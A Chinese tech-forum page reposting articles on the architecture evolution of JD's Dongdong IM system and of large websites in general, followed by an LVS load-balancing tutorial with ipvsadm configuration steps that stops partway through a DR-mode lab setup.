而部署方式,只需要在双机房建立两套对等集群,并另外建一个较小的灰度发布集群即可,所有不同业务都运行在统一平台集群上,如下图:




更细粒度的服务意味着每个服务的开发更简单,代码量更小,依赖更少,隔离稳定性更高。 但更细粒度的服务也意味着更繁琐的运维监控管理,直到今年公司内部弹性私有云、缓存云、消息队列、部署、监控、日志等基础系统日趋完善, 使得实施这类细粒度划分的微服务架构成为可能,运维成本可控。 而从当初 1.0 的 1 种应用进程,到 3.0 的 6、7 种应用进程,再到 4.0 的 50+ 更细粒度的不同种应用进程。 每种进程再根据承载业务流量不同分配不同的实例数,真正的实例进程数会过千。 为了更好的监控和管理这些进程,为此专门定制了一套面向服务的运维管理系统,见下图:




统一服务运维提供了实用的内部工具和库来帮助开发更健壮的微服务。 包括中心配置管理,流量埋点监控,数据库和缓存访问,运行时隔离,如下图所示是一个运行隔离的图示:




细粒度的微服务做到了进程间隔离,严格的开发规范和工具库帮助实现了异步消息和异步 HTTP 来避免多个跨进程的同步长调用链。 进程内部通过切面方式引入了服务增强容器 Armor 来隔离线程, 并支持进程内的单独业务降级和同步转异步化执行。而所有这些工具和库服务都是为了两个目标:
让服务进程运行时状态可见让服务进程运行时状态可被管理和改变

最后我们回到前文留下的一个悬念,就是关于消息投递模型的缺陷。 一开始我们在接入层检测到终端连接断开后,消息无法投递,再将消息缓存下来,等终端重连接上来再拉取离线消息。 这个模型在移动时代表现的很不好,因为移动网络的不稳定性,导致经常断链后重连。 而准确的检测网络连接断开是依赖一个网络超时的,导致检测可能不准确,引发消息假投递成功。 新的模型如下图所示,它不再依赖准确的网络连接检测,投递前待确认消息 id 被缓存,而消息体被持久存储。 等到终端接收确认返回后,该消息才算投妥,未确认的消息 id 再重新登陆后或重连接后作为离线消息推送。 这个模型不会产生消息假投妥导致的丢失,但可能导致消息重复,只需由客户终端按消息 id 去重即可。




京东咚咚诞生之初正是京东技术转型到 Java 之时,经历这些年的发展,取得了很大的进步。 从草根走向专业,从弱小走向规模,从分散走向统一,从杂乱走向规范。 本文主要重心放在了几年来咚咚架构演进的过程,技术架构单独拿出来看我认为没有绝对的好与不好, 技术架构总是要放在彼时的背景下来看,要考虑业务的时效价值、团队的规模和能力、环境基础设施等等方面。 架构演进的生命周期适时匹配好业务的生命周期,才可能发挥最好的效果。
分享阅读原文:http://www.cnblogs.com/mindwind/p/5017591.html  查看全部
dongdong.png

咚咚是什么?咚咚之于京东相当于旺旺之于淘宝,它们都是服务于买家和卖家的沟通。 自从京东开始为第三方卖家提供入驻平台服务后,咚咚也就随之诞生了。 我们首先看看它诞生之初是什么样的。
 


1.0 诞生(2010 - 2011)​


为了业务的快速上线,1.0 版本的技术架构实现是非常直接且简单粗暴的。 如何简单粗暴法?请看架构图,如下:
Arch1.png

1.0 的功能十分简单,实现了一个 IM 的基本功能,接入、互通消息和状态。 另外还有客服功能,就是顾客接入咨询时的客服分配,按轮询方式把顾客分配给在线的客服接待。 用开源 Mina 框架实现了 TCP 的长连接接入,用 Tomcat Comet 机制实现了 HTTP 的长轮询服务。 而消息投递的实现是一端发送的消息临时存放在 Redis 中,另一端拉取的生产消费模型。

这个模型的做法导致需要以一种高频率的方式来轮询 Redis 遍历属于自己连接的关联会话消息。 这个模型很简单,简单包括多个层面的意思:理解起来简单;开发起来简单;部署起来也简单。 只需要一个 Tomcat 应用依赖一个共享的 Redis,简单的实现核心业务功能,并支持业务快速上线。

但这个简单的模型也有些严重的缺陷,主要是效率和扩展问题。 轮询的频率间隔大小基本决定了消息的延时,轮询越快延时越低,但轮询越快消耗也越高。 这个模型实际上是一个高功耗低效能的模型,因为不活跃的连接在那做高频率的无意义轮询。 高频有多高呢,基本在 100 ms 以内,你不能让轮询太慢,比如超过 2 秒轮一次,人就会在聊天过程中感受到明显的会话延迟。 随着在线人数增加,轮询的耗时也线性增长,因此这个模型导致了扩展能力和承载能力都不好,一定会随着在线人数的增长碰到性能瓶颈。

1.0 的时代背景正是京东技术平台从 .NET 向 Java 转型的年代,我也正是在这期间加入京东并参与了京东主站技术转型架构升级的过程。 之后开始接手了京东咚咚,并持续完善这个产品,进行了三次技术架构演进。
 


2.0 成长(2012)


我们刚接手时 1.0 已在线上运行并支持京东 POP(开放平台)业务,之后京东打算组建自营在线客服团队并落地在成都。 不管是自营还是 POP 客服咨询业务当时都起步不久,1.0 架构中的性能和效率缺陷问题还没有达到引爆的业务量级。 而自营客服当时还处于起步阶段,客服人数不足,服务能力不够,顾客咨询量远远超过客服的服务能力。 超出服务能力的顾客咨询,当时我们的系统统一返回提示客服繁忙,请稍后咨询。 这种状况导致高峰期大量顾客无论怎么刷新请求,都很可能无法接入客服,体验很差。 所以 2.0 重点放在了业务功能体验的提升上,如下图所示:
Arch2.png

针对无法及时提供服务的顾客,可以排队或者留言。 针对纯文字沟通,提供了文件和图片等更丰富的表达方式。 另外支持了客服转接和快捷回复等方式来提升客服的接待效率。 总之,整个 2.0 就是围绕提升客服效率和用户体验。 而我们担心的效率问题在 2.0 高速发展业务的时期还没有出现,但业务量正在逐渐积累,我们知道它快要爆了。 到 2012 年末,度过双十一后开始了 3.0 的一次重大架构升级。
 


3.0 爆发(2013 - 2014)


经历了 2.0 时代一整年的业务高速发展,实际上代码规模膨胀的很快。 与代码一块膨胀的还有团队,从最初的 4 个人到近 30 人。 团队大了后,一个系统多人开发,开发人员层次不一,规范难统一,系统模块耦合重,改动沟通和依赖多,上线风险难以控制。 一个单独 tomcat 应用多实例部署模型终于走到头了,这个版本架构升级的主题就是服务化。

服务化的第一个问题如何把一个大的应用系统切分成子服务系统。 当时的背景是京东的部署还在半自动化年代,自动部署系统刚起步,子服务系统若按业务划分太细太多,部署工作量很大且难管理。 所以当时我们不是按业务功能分区服务的,而是按业务重要性级别划分了 0、1、2 三个级别不同的子业务服务系统。 另外就是独立了一组接入服务,针对不同渠道和通信方式的接入端,见下图。
Arch3.png

更细化的应用服务和架构分层方式可见下图:
Arch4.png

这次大的架构升级,主要考虑了三个方面:稳定性、效率和容量。 做了下面这些事情:
  1. 业务分级、核心、非核心业务隔离
  2. 多机房部署,流量分流、容灾冗余、峰值应对冗余
  3. 读库多源,失败自动转移
  4. 写库主备,短暂有损服务容忍下的快速切换
  5. 外部接口,失败转移或快速断路
  6. Redis 主备,失败转移
  7. 大表迁移,MongoDB 取代 MySQL 存储消息记录
  8. 改进消息投递模型

 
前 6 条基本属于考虑系统稳定性、可用性方面的改进升级。 这一块属于陆续迭代完成的,承载很多失败转移的配置和控制功能在上面图中是由管控中心提供的。 第 7 条主要是随着业务量的上升,单日消息量越来越大后,使用了 MongoDB 来单独存储量最大的聊天记录。 第 8 条是针对 1.0 版本消息轮询效率低的改进,改进后的投递方式如下图所示:
Arch5.png

不再是轮询了,而是让终端每次建立连接后注册接入点位置,消息投递前定位连接所在接入点位置再推送过去。 这样投递效率就是恒定的了,而且很容易扩展,在线人数越多则连接数越多,只需要扩展接入点即可。 其实,这个模型依然还有些小问题,主要出在离线消息的处理上,可以先思考下,我们最后再讲。

3.0 经过了两年的迭代式升级,单纯从业务量上来说还可以继续支撑很长时间的增长。 但实际上到 2014 年底我们面对的不再是业务量的问题,而是业务模式的变化。 这直接导致了一个全新时代的到来。
 


4.0 涅槃(2015 至今 )


2014 年京东的组织架构发生了很大变化,从一个公司变成了一个集团,下设多个子公司。 原来的商城成为了其中一个子公司,新成立的子公司包括京东金融、京东智能、京东到家、拍拍、海外事业部等。 各自业务范围不同,业务模式也不同,但不管什么业务总是需要客服服务。 如何复用原来为商城量身订做的咚咚客服系统并支持其他子公司业务快速接入成为我们新的课题。

最早要求接入的是拍拍网,它是从腾讯收购的,所以是完全不同的账户和订单交易体系。 由于时间紧迫,我们把为商城订做的部分剥离,基于 3.0 架构对接拍拍又单独订做了一套,并独立部署,像下面这样。
Arch6.png

虽然在业务要求的时间点前完成了上线,但这样做也带来了明显的问题:
  1. 复制工程,定制业务开发,多套源码维护成本高
  2. 独立部署,至少双机房主备外加一个灰度集群,资源浪费大

 
以前我们都是面向业务去架构系统,如今新的业务变化形势下我们开始考虑面向平台去架构,在统一平台上跑多套业务,统一源码,统一部署,统一维护。 把业务服务继续拆分,剥离出最基础的 IM 服务,IM 通用服务,客服通用服务,而针对不同的业务特殊需求做最小化的定制服务开发。 部署方式则以平台形式部署,不同的业务方的服务跑在同一个平台上,但数据互相隔离。 服务继续被拆分的更微粒化,形成了一组服务矩阵(见下图)
Arch7.png

而部署方式,只需要在双机房建立两套对等集群,并另外建一个较小的灰度发布集群即可,所有不同业务都运行在统一平台集群上,如下图:
Arch8.png

更细粒度的服务意味着每个服务的开发更简单,代码量更小,依赖更少,隔离稳定性更高。 但更细粒度的服务也意味着更繁琐的运维监控管理,直到今年公司内部弹性私有云、缓存云、消息队列、部署、监控、日志等基础系统日趋完善, 使得实施这类细粒度划分的微服务架构成为可能,运维成本可控。 而从当初 1.0 的 1 种应用进程,到 3.0 的 6、7 种应用进程,再到 4.0 的 50+ 更细粒度的不同种应用进程。 每种进程再根据承载业务流量不同分配不同的实例数,真正的实例进程数会过千。 为了更好的监控和管理这些进程,为此专门定制了一套面向服务的运维管理系统,见下图:
Arch9.png

统一服务运维提供了实用的内部工具和库来帮助开发更健壮的微服务。 包括中心配置管理,流量埋点监控,数据库和缓存访问,运行时隔离,如下图所示是一个运行隔离的图示:
Arch10.png

细粒度的微服务做到了进程间隔离,严格的开发规范和工具库帮助实现了异步消息和异步 HTTP 来避免多个跨进程的同步长调用链。 进程内部通过切面方式引入了服务增强容器 Armor 来隔离线程, 并支持进程内的单独业务降级和同步转异步化执行。而所有这些工具和库服务都是为了两个目标:
  1. 让服务进程运行时状态可见
  2. 让服务进程运行时状态可被管理和改变


最后我们回到前文留下的一个悬念,就是关于消息投递模型的缺陷。 一开始我们在接入层检测到终端连接断开后,消息无法投递,再将消息缓存下来,等终端重连接上来再拉取离线消息。 这个模型在移动时代表现的很不好,因为移动网络的不稳定性,导致经常断链后重连。 而准确的检测网络连接断开是依赖一个网络超时的,导致检测可能不准确,引发消息假投递成功。 新的模型如下图所示,它不再依赖准确的网络连接检测,投递前待确认消息 id 被缓存,而消息体被持久存储。 等到终端接收确认返回后,该消息才算投妥,未确认的消息 id 再重新登陆后或重连接后作为离线消息推送。 这个模型不会产生消息假投妥导致的丢失,但可能导致消息重复,只需由客户终端按消息 id 去重即可。
Arch11.png

京东咚咚诞生之初正是京东技术转型到 Java 之时,经历这些年的发展,取得了很大的进步。 从草根走向专业,从弱小走向规模,从分散走向统一,从杂乱走向规范。 本文主要重心放在了几年来咚咚架构演进的过程,技术架构单独拿出来看我认为没有绝对的好与不好, 技术架构总是要放在彼时的背景下来看,要考虑业务的时效价值、团队的规模和能力、环境基础设施等等方面。 架构演进的生命周期适时匹配好业务的生命周期,才可能发挥最好的效果。
分享阅读原文:http://www.cnblogs.com/mindwind/p/5017591.html 

大型网站系统架构演化之路

开源技术being 发表了文章 • 0 个评论 • 670 次浏览 • 2016-01-10 16:26 • 来自相关话题

前言

一个成熟的大型网站(如淘宝、天猫、腾讯等)的系统架构并不是一开始设计时就具备完整的高性能、高可用、高伸缩等特性的,它是随着用户量的增加,业务功能的扩展逐渐演变完善的,在这个过程中,开发模式、技术架构、设计思想也发生了很大的变化,就连技术人员也从几个人发展到一个部门甚至一条产品线。所以成熟的系统架构是随着业务的扩展而逐步完善的,并不是一蹴而就;不同业务特征的系统,会有各自的侧重点,例如淘宝要解决海量的商品信息的搜索、下单、支付;例如腾讯要解决数亿用户的实时消息传输;百度它要处理海量的搜索请求;他们都有各自的业务特性,系统架构也有所不同。尽管如此我们也可以从这些不同的网站背景下,找出其中共用的技术,这些技术和手段广泛运用在大型网站系统的架构中,下面就通过介绍大型网站系统的演化过程,来认识这些技术和手段。

一、最开始的网站架构

最初的架构,应用程序、数据库、文件都部署在一台服务器上,如图:





二、应用、数据、文件分离

随着业务的扩展,一台服务器已经不能满足性能需求,故将应用程序、数据库、文件各自部署在独立的服务器上,并且根据服务器的用途配置不同的硬件,达到最佳的性能效果。





三、利用缓存改善网站性能

在硬件优化性能的同时,同时也通过软件进行性能优化,在大部分的网站系统中,都会利用缓存技术改善系统的性能,使用缓存主要源于热点数据的存在,大部分网站访问都遵循28原则(即80%的访问请求,最终落在20%的数据上),所以我们可以对热点数据进行缓存,减少这些数据的访问路径,提高用户体验。




缓存实现常见的方式是本地缓存、分布式缓存。当然还有CDN、反向代理等,这个后面再讲。本地缓存,顾名思义是将数据缓存在应用服务器本地,可以存在内存中,也可以存在文件,OSCache就是常用的本地缓存组件。本地缓存的特点是速度快,但因为本地空间有限所以缓存数据量也有限。分布式缓存的特点是,可以缓存海量的数据,并且扩展非常容易,在门户类网站中常常被使用,速度按理没有本地缓存快,常用的分布式缓存是Memcached、Redis。

四、使用集群改善应用服务器性能

应用服务器作为网站的入口,会承担大量的请求,我们往往通过应用服务器集群来分担请求数。应用服务器前面部署负载均衡服务器调度用户请求,根据分发策略将请求分发到多个应用服务器节点。




常用的负载均衡技术硬件的有F5,价格比较贵,软件的有LVS、Nginx、HAProxy。LVS是四层负载均衡,根据目标地址和端口选择内部服务器,Nginx和HAProxy是七层负载均衡,可以根据报文内容选择内部服务器,因此LVS分发路径优于Nginx和HAProxy,性能要高些,而Nginx和HAProxy则更具配置性,如可以用来做动静分离(根据请求报文特征,选择静态资源服务器还是应用服务器)。

五、数据库读写分离和分库分表

随着用户量的增加,数据库成为最大的瓶颈,改善数据库性能常用的手段是进行读写分离以及分库分表,读写分离顾名思义就是将数据库分为读库和写库,通过主备功能实现数据同步。分库分表则分为水平切分和垂直切分,水平切分则是对一个数据库特大的表进行拆分,例如用户表。垂直切分则是根据业务的不同来切分,如用户业务、商品业务相关的表放在不同的数据库中。





六、使用CDN和反向代理提高网站性能

假如我们的服务器都部署在成都的机房,对于四川的用户来说访问是较快的,而对于北京的用户访问是较慢的,这是由于四川和北京分别属于电信和联通的不同发达地区,北京用户访问需要通过互联路由器经过较长的路径才能访问到成都的服务器,返回路径也一样,所以数据传输时间比较长。对于这种情况,常常使用CDN解决,CDN将数据内容缓存到运营商的机房,用户访问时先从最近的运营商获取数据,这样大大减少了网络访问的路径。比较专业的CDN运营商有蓝汛、网宿。




而反向代理,则是部署在网站的机房,当用户请求达到时首先访问反向代理服务器,反向代理服务器将缓存的数据返回给用户,如果没有缓存数据才会继续访问应用服务器获取,这样做减少了获取数据的成本。反向代理有Squid,Nginx。

七、使用分布式文件系统

用户一天天增加,业务量越来越大,产生的文件越来越多,单台的文件服务器已经不能满足需求,这时就需要分布式文件系统的支撑。常用的分布式文件系统有GFS、HDFS、TFS。





八、使用NoSql和搜索引擎

对于海量数据的查询和分析,我们使用nosql数据库加上搜索引擎可以达到更好的性能。并不是所有的数据都要放在关系型数据中。常用的NOSQL有mongodb、hbase、redis,搜索引擎有lucene、solr、elasticsearch。





九、将应用服务器进行业务拆分

随着业务进一步扩展,应用程序变得非常臃肿,这时我们需要将应用程序进行业务拆分,如百度分为新闻、网页、图片等业务。每个业务应用负责相对独立的业务运作。业务之间通过消息进行通信或者共享数据库来实现。





十、搭建分布式服务

这时我们发现各个业务应用都会使用到一些基本的业务服务,例如用户服务、订单服务、支付服务、安全服务,这些服务是支撑各业务应用的基本要素。我们将这些服务抽取出来利用分部式服务框架搭建分布式服务。阿里的Dubbo是一个不错的选择。





总结

大型网站的架构是根据业务需求不断完善的,根据不同的业务特征会做特定的设计和考虑,本文只是讲述一个常规大型网站会涉及的一些技术和手段。

分享阅读整理原文:http://www.cnblogs.com/leefreeman/p/3993449.html
参考书籍:《大型网站技术架构》《海量运维运营规划》 查看全部


前言


一个成熟的大型网站(如淘宝、天猫、腾讯等)的系统架构并不是一开始设计时就具备完整的高性能、高可用、高伸缩等特性的,它是随着用户量的增加,业务功能的扩展逐渐演变完善的,在这个过程中,开发模式、技术架构、设计思想也发生了很大的变化,就连技术人员也从几个人发展到一个部门甚至一条产品线。所以成熟的系统架构是随着业务的扩展而逐步完善的,并不是一蹴而就;不同业务特征的系统,会有各自的侧重点,例如淘宝要解决海量的商品信息的搜索、下单、支付;例如腾讯要解决数亿用户的实时消息传输;百度它要处理海量的搜索请求;他们都有各自的业务特性,系统架构也有所不同。尽管如此我们也可以从这些不同的网站背景下,找出其中共用的技术,这些技术和手段广泛运用在大型网站系统的架构中,下面就通过介绍大型网站系统的演化过程,来认识这些技术和手段。


一、最开始的网站架构


最初的架构,应用程序、数据库、文件都部署在一台服务器上,如图:
website_arch1.png


二、应用、数据、文件分离


随着业务的扩展,一台服务器已经不能满足性能需求,故将应用程序、数据库、文件各自部署在独立的服务器上,并且根据服务器的用途配置不同的硬件,达到最佳的性能效果。
website_arch2.png


三、利用缓存改善网站性能


在硬件优化性能的同时,同时也通过软件进行性能优化,在大部分的网站系统中,都会利用缓存技术改善系统的性能,使用缓存主要源于热点数据的存在,大部分网站访问都遵循28原则(即80%的访问请求,最终落在20%的数据上),所以我们可以对热点数据进行缓存,减少这些数据的访问路径,提高用户体验。
website_arch3.png

缓存实现常见的方式是本地缓存、分布式缓存。当然还有CDN、反向代理等,这个后面再讲。本地缓存,顾名思义是将数据缓存在应用服务器本地,可以存在内存中,也可以存在文件,OSCache就是常用的本地缓存组件。本地缓存的特点是速度快,但因为本地空间有限所以缓存数据量也有限。分布式缓存的特点是,可以缓存海量的数据,并且扩展非常容易,在门户类网站中常常被使用,速度按理没有本地缓存快,常用的分布式缓存是Memcached、Redis。


四、使用集群改善应用服务器性能


应用服务器作为网站的入口,会承担大量的请求,我们往往通过应用服务器集群来分担请求数。应用服务器前面部署负载均衡服务器调度用户请求,根据分发策略将请求分发到多个应用服务器节点。
website_arch4.png

常用的负载均衡技术硬件的有F5,价格比较贵,软件的有LVS、Nginx、HAProxy。LVS是四层负载均衡,根据目标地址和端口选择内部服务器,Nginx和HAProxy是七层负载均衡,可以根据报文内容选择内部服务器,因此LVS分发路径优于Nginx和HAProxy,性能要高些,而Nginx和HAProxy则更具配置性,如可以用来做动静分离(根据请求报文特征,选择静态资源服务器还是应用服务器)。


五、数据库读写分离和分库分表


随着用户量的增加,数据库成为最大的瓶颈,改善数据库性能常用的手段是进行读写分离以及分库分表,读写分离顾名思义就是将数据库分为读库和写库,通过主备功能实现数据同步。分库分表则分为水平切分和垂直切分,水平切分则是对一个数据库特大的表进行拆分,例如用户表。垂直切分则是根据业务的不同来切分,如用户业务、商品业务相关的表放在不同的数据库中。
website_arch5.png


六、使用CDN和反向代理提高网站性能


假如我们的服务器都部署在成都的机房,对于四川的用户来说访问是较快的,而对于北京的用户访问是较慢的,这是由于四川和北京分别属于电信和联通的不同发达地区,北京用户访问需要通过互联路由器经过较长的路径才能访问到成都的服务器,返回路径也一样,所以数据传输时间比较长。对于这种情况,常常使用CDN解决,CDN将数据内容缓存到运营商的机房,用户访问时先从最近的运营商获取数据,这样大大减少了网络访问的路径。比较专业的CDN运营商有蓝汛、网宿。
website_arch6.png

而反向代理,则是部署在网站的机房,当用户请求达到时首先访问反向代理服务器,反向代理服务器将缓存的数据返回给用户,如果没有缓存数据才会继续访问应用服务器获取,这样做减少了获取数据的成本。反向代理有Squid,Nginx。


七、使用分布式文件系统


用户一天天增加,业务量越来越大,产生的文件越来越多,单台的文件服务器已经不能满足需求,这时就需要分布式文件系统的支撑。常用的分布式文件系统有GFS、HDFS、TFS。
website_arch7.png


八、使用NoSql和搜索引擎


对于海量数据的查询和分析,我们使用nosql数据库加上搜索引擎可以达到更好的性能。并不是所有的数据都要放在关系型数据中。常用的NOSQL有mongodb、hbase、redis,搜索引擎有lucene、solr、elasticsearch。
website_arch8.png


九、将应用服务器进行业务拆分


随着业务进一步扩展,应用程序变得非常臃肿,这时我们需要将应用程序进行业务拆分,如百度分为新闻、网页、图片等业务。每个业务应用负责相对独立的业务运作。业务之间通过消息进行通信或者共享数据库来实现。
website_arch9.png


十、搭建分布式服务


这时我们发现各个业务应用都会使用到一些基本的业务服务,例如用户服务、订单服务、支付服务、安全服务,这些服务是支撑各业务应用的基本要素。我们将这些服务抽取出来利用分部式服务框架搭建分布式服务。阿里的Dubbo是一个不错的选择。
website_arch10.png


总结


大型网站的架构是根据业务需求不断完善的,根据不同的业务特征会做特定的设计和考虑,本文只是讲述一个常规大型网站会涉及的一些技术和手段。


分享阅读整理原文:http://www.cnblogs.com/leefreeman/p/3993449.html
参考书籍:《大型网站技术架构》《海量运维运营规划》


负载均衡LVS原理和应用详解

开源技术push 发表了文章 • 1 个评论 • 872 次浏览 • 2016-01-01 19:03 • 来自相关话题

一、LB常用解决方案

1. 硬件负载均衡解决方案:
[]F5公司: BIG-IP[/][]Citrix公司: Netscaler[/][]A10公司: A10[/][]Array [/][]Redware[/]
2. Linux: LVS
完成Linux Virtual Server作者 (章文嵩,花名段正明)
ipvs工作于netfilter框架上
ipvs: 框架,工作在内核中,工作在input链上,需要依赖于规则完成转发。 如果发现发往本机INPUT链的请求,如果能匹配到集群规则,直接转发至post-routing链发出主机。 
规则: 简单来说就是把ip加端口定义为ipvs集群服务,ipvs会为此请求定义一个或多个后端服务目标地址未必会改,但是报文会被强行转发给后端的服务器。 
ipvs组件: ipvsadm(用户空间,用来编写规则) + ipvs(内核空间) 
ipvs工作在第四层: 
     1) 成为四层交换、四层路由。 做第四层转发。

     2) 只能基于ip和port转发,无法在应用层,session级别转发

     3) 不用到达应用层空间,就能转发

lvs 性能很好,但是由于只第四层,不能到用户空间,因此不能进行更加精细的控制。 在精细控制方面,haproxy和Ngnix可以更好的实现。 
lvs通常作为总入口,更精细化的切割可能使用,haproxy或者Nginx实现 
报文的信息流: CIP<–>VIP–DIP<–>RIP
     1) CIP: Client ip 

     2) VIP: virtual ip 

     3) DIP: Director IP 

     4) RIP: Real server Ip 

     客户端请求,被VIP端口接收后,从DIP接口被转发出去,并转发至RIP

二、LVS类型

1. NAT(dNAT)
    访问过程如下:

            1) CIP访问VIP 

            2) VIP接收报文后,做dNAT,指向某一个RIP 

            3) RIP拿到接收到报文后进行回应

            4) 此时需要,RIP网关指向DIP,也就是Director server. 否则若在互联网上,即便报文是可以回应给CIP客户端,但是由于CIP并没有请求RIP服务器,因此报文会被丢弃。 

        NAT特性:

            1) RS应该使用私有地址

            2) RS的网关必须指向DIP 

            3) RIP 和 DIP 必须在一同意网段内

            4) 进出的报文,无论请求还是响应,都必须经过Director Server, 请求报文由DS完成目标地址转换,响应报文由DS完成源地址转换 

            5) 在高负载应用场景中,DS很可能成为系统性能瓶颈。 

            6) 支持端口映射。

            7) 内部RS可以使用任意支持集群服务的任意操作系统。




 
 2. DR 
1)让前端路由将请求发往VIP时,只能是Dirctor上的VIP
     禁止RS响应对VIP的ARP广播请求:
            (1) 在前端路由上实现静态MAC地址VIP的绑定;

                前提:得有路由器的配置权限;

                缺点:Directory故障转时,无法更新此绑定;

            (2) arptables

                前提:在各RS在安装arptables程序,并编写arptables规则

                缺点:依赖于独特功能的应用程序

            (3) 修改Linux内核参数

                前提:RS必须是Linux;

                缺点:适用性差; 

    Linux的工作特性:IP地址是属于主机,而非某特定网卡;也就是说,主机上所有的网卡都会向外通告,需要先配置参数,然后配置IP,因为只要IP地址配置完成则开始想外通告mac地址为了使响应报文由配置有VIP的lo包装,使源地址为VIP,需要配置路由经过lo网卡的别名,最终由eth0发出

             两个参数的取值含义:

                    arp_announce:定义通告模式

                        0: default, 只要主机接入网络,则自动通告所有为网卡mac地址

                        1: 尽力不通告非直接连入网络的网卡mac地址

                        2: 只通告直接进入网络的网卡mac地址

                    arp_ignore:定义收到arp请求的时响应模式

                        0: 只有arp 广播请求,马上响应,并且响应所有本机网卡的mac地址

                        1: 只响应,接受arp广播请求的网卡接口mac地址

                        2: 只响应,接受arp广播请求的网卡接口mac地址,并且需要请求广播与接口地址属于同一网段

                        3: 主机范围(Scope host)内生效的接口,不予响应,只响应全局生效与外网能通信的网卡接口

                        4-7: 保留位

                        8: 不响应一切arp广播请求
    配置方法: 

                    全部网卡

                        arp_ignore 1

                        arp_announce 2 

                    同时再分别配置每个网卡,eth0和lo

                        arp_ignore 1

                        arp_annource 2
2) 特性
   (1)RS是可以使用公网地址,此时可以直接通过互联网连入,配置,监控RS服务器
   (2)RS的网不能指向DIP
   (3)RS跟DS要在同一物理网络内,最好在一同一网段内
   (4)请求报文经过Director但是相应报文不经过Director
   (5)不支持端口映射
   (6)RS可以使用,大多数的操作系统,至少要可以隐藏VIP








3. LVS TUN: IP隧道,IP报文中套IP报文 
        1)RIP,DIP,VIP都必须是公网地址

        2)RS网关不会指向DIP

        3)请求报文经过Director,但相应报文一定不经过Director

        4)不支持端口映射

        5)RS的OS必须得支持隧道功能




 4. FULLNAT: 必须内核打补丁才能使用,使得各RS主机可以跨vlan. 源IP和目标IP都修改。





三、LVS调度算法

1. 静态方法:仅根据算法本身进行调度

        rr: Round Robin

        wrr: Weighted RR

        sh: source hashing,源地址进行hash,然后分配到特定的服务器

        dh: destination hashing

            用于多前端防火墙的场景中,使得访问从一个防火墙进同时还从这个防火墙出来。 

2. 动态方法:根据算法及RS当前的负载状况

        lc: Least Connection

            Overhead=Active*256+Inactive

            结果中,最小者胜出;

        wlc: Weighted LC

            Overhead=(Active*256+Inactive)/weight

        sed: Shortest Expect Delay

            Overhead=(Active+1)*256/weight

        nq: Nerver Queue,在Sed基础上,开局时候先轮寻一圈。 

        lblc: Locality-based Least Connection (基于本地的最小连接) dh+lc

        lblcr: Replicated and Locality-based Least Connection 后端服务器是缓存服务器时, 可以绑定连接到某一缓存服务器中。

3. LVS缺陷: 

    不能检测后端服务器的健康状况,总是发送连接到后端。 

    Session持久机制:

        1、session绑定:始终将同一个请求者的连接定向至同一个RS(第一次请求时仍由调度方法选择);没有容错能力,有损均衡效果;

        2、session复制:在RS之间同步session,因此,每个RS持集群中所有的session;对于大规模集群环境不适用;

        3、session服务器:利用单独部署的服务器来统一管理session; 

四、ipvsadm使用方法

1.相关命令ipvsadm -A|E -t|u|f service-address [-s scheduler] [-p [timeout]] [-M netmask]
ipvsadm -D -t|u|f service-address
ipvsadm -C
ipvsadm -R
ipvsadm -S [-n]
ipvsadm -a|e -t|u|f service-address -r server-address [-g|i|m] [-w weight] [-x upper] [-y lower]
ipvsadm -d -t|u|f service-address -r server-address
ipvsadm -L|l [options]
ipvsadm -Z [-t|u|f service-address] 2. 集群服务相关 -A: 添加一个集群服务
-t: tcp
-u: udp
-f: firewall mark,
通常用于将两个或以上的服务绑定为一个服务进行处理时使用
例如httpd和https
iptables mongo表一起使用

service-address:
-t IP:port
-u ip:port
-f firewall_mark

-s 调度方法,默认为wlc
-p timeout: persistent connection, 持久连接
-E 修改定义过的集群服务
-D -t|u|f service-address:删除指定的集群服务 3. RS相关 -a:向指定的Cluster services中添加RS
-t|-u|-f service-address:指明将RS添加至哪个Cluster Service中
-r: 指定RS,可包含{IP[:port]},只有支持端口映射的LVS类型才允许此处使用跟集群服务中不同的端口
LVS类型:
-g: Gateway模式,就是DR模型(默认)
-i: ipip模式,TUN模型
-m: masquerade地址伪装自动完成后半段的原地址转换,NAT
指定RS权重:
-w # 省略权重为1
-e: 修改指定的RS属性
-d -t|u|f service-address -r server-address:从指定的集群服务中删除某RS4. 清空所有的集群服务:-C5. 保存规则:(使用输出重定向)ipvsadm-save
ipvsadm -S6. 载入指定的规则:(使用输入重定向)ipvsadm-restore
ipvsadm -R 7. 查看ipvs规则等 -L [options]
-n: 数字格式显示IP地址
-c: 显示连接数相关信息
--stats: 显示统计数据
--rate: 速率
--exact:显示统计数据的精确值
--timeout: 超时时间
-Z: 计数器清零

五、LVS NAT模型的实现

[list=1]
[*]集群环境: 一台Director, 两台后端Real Server RS1,RS2 Director: 两网卡 [/*]
[/list] eth0: 192.168.98.133/24
eth1: 172.25.136.10/24
eth0:1: 192.168.98.128/24 作为VIP地址

RS1:
eth0: 172.25.136.11

RS2:
eth0: 172.25.136.12; Director的eth1和RS1,RS2的eth0在模拟在同一物理网络内,使用VMnet2
物理机windows 7 作为客户端,在192.168.98.0网络内2. 为RS添加网关指向Director RS1:
# ifconfig eth0 172.25.136.11/24
# route add default gw 172.25.136.10
RS2:
# ifconfig eth0 172.25.136.12/24
# route add default gw 172.25.136.10
添加完路由条目后,应该可以ping通Director 192.168.98.0网段的两个地址。3. 修改内核参数,开启转发功能# echo 1 > /proc/sys/net/ipv4/ip_forward 4. 在RS1和RS2上面创建测试页,并在Director验证服务 RS1上
# echo 'web from RS1' > /var/www/html/index.html
# service httpd start
RS2上
# echo 'web from RS2' > /var/www/html/index.html
# service httpd start
Director上验证
# curl 172.25.136.11
web from RS1
# curl 172.25.136.12
web from RS25. 在Director添加集群服务 # ipvsadm -A -t 192.168.98.128:80 -s wlc
# ipvsadm -a -t 192.168.98.128:80 -r 172.25.136.11:80 -m -w 1
# ipvsadm -a -t 192.168.98.128:80 -r 172.25.136.12:80 -m -w 36. 通过物理机浏览器访问192.168.98.128, 正常情况,就可以看到轮寻的两个RS的主页了。  访问几次后,查看统计数据如下,大概接入报文比例3:1, 说明wlc生效了
# ipvsadm -L --stats
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Conns InPkts OutPkts InBytes OutBytes
-> RemoteAddress:Port
TCP 192.168.98.128:http 45 227 227 32215 19245
-> 136-11.priv25.nus.edu.sg:htt 12 62 62 8571 6055
-> 136-12.priv25.nus.edu.sg:htt 33 165 165 23644 13190

六、LVS DR模型,当DIP,VIP,RIP都为公网地址时(实验环境中,把这三个地址全部放在同一物理网络中)

[list=1]
[*]地址规划: Director: [/*]
[/list] eth0: 192.168.98.133 作为ssh通信地址
eth0:1: 192.168.98.128 作为VIP, 可以进行浮动
RS1:
